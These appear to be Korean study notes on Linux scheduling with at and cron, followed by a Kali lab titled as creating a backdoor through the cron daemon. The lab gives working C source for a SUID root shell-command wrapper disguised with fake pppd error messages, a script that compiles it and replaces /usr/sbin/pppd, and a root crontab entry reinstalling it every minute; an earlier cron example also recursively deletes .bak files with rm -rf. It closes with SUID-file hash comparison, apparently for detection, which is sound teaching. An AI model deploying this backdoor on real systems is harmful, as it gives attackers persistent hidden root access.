## 프로세스 스케쥴링

- 특정한 시간에 특정한 작업을 수행하게 하는 것
- at과 cron 사용

## 명령어 at

- 지정한 시간에 원하는 명령이나 작업을 실행
- 한번만 실행되는 경우 주로 사용
- atd데몬의 의해 실행
- 지정한 작업은 큐에 저장되며 저장된 작업들은 /var/spool/at 디렉터리에 저장

```
#at 13:00pm

ls -al > /TEST/today

Ctrl+d

#at -1

#at -c 1

#at -d 1
```

## 명령어 cron

- 주기적으로 프로세스를 실행 시 사용
- 시스템 운영 또는 사용자의 필요에 의한 작업으로 나뉨
  - 시스템 운영에 필요한 작업: root권한으로 /etc/crontab에 등록
  - 일반 사용자 : /var/spool/cron/사용자ID 에 등록

### 0 12 \* \* 1-5 /etc/work.sh

- 월요일~금요일까지 오후 12시 실행

10 4 1 1-12/2 \* /etc/work.sh

- 1월부터 12월까지 2개월마다 1일날 오전 4시 10분에 실행

0 10 \* \* 1 cat /root/notice | mail -s " notice" gildong@test.com

0 4 \* \* 1,3,5 find / -name '\*.bak' -exec rm -rf {} \;

\*/10 \* \* \* \* /etc/work.sh

# Cron 데몬을 이용한 Backdoor 생성

#find / -user root -perm -4000 > /home/gildong/sfile.txt
#ls /home/gildong/sfile.txt

#cat /home/gildong/sfile.txt

```
(root⊗kali)-[/usr/sbin]
find / -user root -perm -4000 > /home/gildong/sfile.txt
find: '/proc/12507/task/12507/fd/5': No such file or directory
find: '/proc/12507/task/12507/fdinfo/5': No such file or directory
find: '/proc/12507/fd/6': No such file or directory
find: '/proc/12507/fdinfo/6': No such file or directory
find: '/run/user/1000/gvfs': Permission denied
   (root@kali)-[/usr/sbin]
 # ls /home/gildong/sfile.txt
/home/gildong/sfile.txt
   root@kali)-[/usr/sbin]
 -# cat /home/gildong/sfile.txt
/usr/bin/sudo
/usr/bin/umount
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/newgrp
```

```
[root@kali)-[/home/gildong]
backexec.c sfile.txt
    [root@kali)-[/home/gildong]
 md5sum sfile.txt > sfile_h.txt
    [root@kali)-[/home/gildong]
  -# ls
backexec.c sfile_h.txt sfile.txt
    root@kali)-[/home/gildong]
  # cat sfile_h.txt
0d52ed99bcdf36774220bdd622b616ed sfile.txt
    root@kali)-[/home/gildong]
```

#md5sum sfile.txt > sfile\_h.txt
#cat sfile\_h.txt

```
(root@kali)-[/home/gildong]
# cat backexec.c
#include <stdio.h>
main(int argc, char *argv[])
{
   char exec[100];
   setuid(0);
   setgid(0);
   sprintf(exec, "%s 2>/dev/null", argv[1]);
   system(exec);

printf("./pppd: The remote system is required to authenticate itself\n");
   printf("./pppd: but I couldn't find any suitable secret (password) for it to use to do so.\n");
}
```

#cd /home/gildong #cat backexec.c

```
(root@kali)-[/]
# ls -ld /etc/cro*
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.d
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.daily
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.hourly
drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.monthly
-rw-r--r- 1 root root 1042 Nov 13 2022 /etc/cron.weekly
```

#ls –ld /etc/cro\*

```
root@ kali)-[/etc/cron.d]
 −# cat set.sh
gcc -o backexec /home/gildong/backexec.c
chmod 4755 backexec
mv backexec /usr/sbin/pppd
   (root⊗kali)-[/etc/cron.d]
    ls -l set.sh
-rw-r--r-- 1 root root 88 Oct 24 23:12 set.sh
   (root⊗kali)-[/etc/cron.d]
  # chmod 755 set.sh
   (root@kali)-[/etc/cron.d]
 # ls -l set.sh
-rwxr-xr-x 1 root root 88 Oct 24 23:12 set.sh
     oot@kali)-[/etc/cron.d]
```

#cd /etc/cron.d
#nano set.sh
#ls -l set.sh
#ls -l set.sh

#### #nano /etc/crontab

\* \* \* \* \* root /etc/cron.d/set.sh

```
-[/etc/cron.d]
    tail -l /etc/crontab
                 — day of week (0 - 6) (Sunday=0 or 7) OR sun, mon, tue, wed, thu, fri, sat
                user-name command to be executed
                        cd / & run-parts -- report /etc/cron.hourly
                root
                        test -x /usr/sbin/anacron || { cd / & run-parts -- report /etc/cron.daily; }
                root
                        test -x /usr/sbin/anacron || { cd / & run-parts --report /etc/cron.weekly; }
                root
                        test -x /usr/sbin/anacron || { cd / & run-parts -- report /etc/cron.monthly; }
52 6
                root
* * * * * root /etc/cron.d/set.sh
         kali)-[/etc/cron.d]
    service cron restart
```

#rm –rf pppd #ls –l pppd

#find / -user root -perm -4000 > /home/gildong/sfile.txt #md5sum sfile.txt > sfile\_h.txt

```
#find / -user root -perm -4000 > /home/gildong/sfile2.txt
#md5sum sfile2.txt > sfile_h2.txt
#diff sfile_h.txt sfile_h2.txt
```